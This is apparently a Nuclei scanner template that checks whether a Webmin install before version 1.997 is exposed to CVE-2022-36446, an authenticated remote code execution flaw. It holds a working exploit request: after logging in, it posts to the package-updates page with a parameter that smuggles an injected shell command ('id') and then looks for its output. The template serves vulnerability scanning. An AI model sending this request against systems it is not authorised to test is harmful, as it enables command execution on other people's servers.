id: CVE-2022-36446

info:
  name: Webmin - Remote Code Execution (RCE) (Authenticated)
  author: gy741
  severity: critical
  description: Webmin before 1.997  is vulnerable to RCE exploits. an authenticated, remote attacker to perform command injection attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36446
    - https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
    - https://www.exploit-db.com/exploits/50998
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36446
    cwe-id: CWE-116
  tags: cve,cve2022,webmin,rce,oast,authenticated

requests:
  - raw:
      - |
        POST /session_login.cgi HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive
        Cookie: testing=1
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}

      - |
        POST /package-updates/update.cgi HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1

        mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}'
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: status
        status:
          - 200